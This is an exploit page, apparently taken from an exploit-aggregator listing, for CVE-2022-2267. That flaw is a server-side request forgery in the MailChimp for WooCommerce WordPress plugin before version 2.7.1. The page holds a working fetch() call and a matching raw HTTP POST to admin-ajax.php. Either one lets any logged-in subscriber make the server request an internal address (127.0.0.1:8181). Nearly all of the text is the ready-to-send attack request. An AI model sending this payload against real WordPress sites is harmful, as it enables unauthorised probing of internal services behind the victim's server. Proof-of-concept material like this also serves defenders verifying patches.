Exploit for MailChimp for Woocommerce < 2.7.1 - Subscriber+ SSRF CVE-2022-2267

## https://sploitus.com/exploit?id=WPEX-ID:E3BD9F8C-919A-40AF-9E80-607573E71870
As any logged in user:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "accept": "application/json, text/javascript, */*; q=0.01",
    "accept-language": "en-US,en;q=0.9",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "action=mailchimp_woocommerce_oauth_status&url=http://127.0.0.1:8181",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Connection: close
Cookie: [subscriber+]

action=mailchimp_woocommerce_oauth_status&url=http://127.0.0.1:8181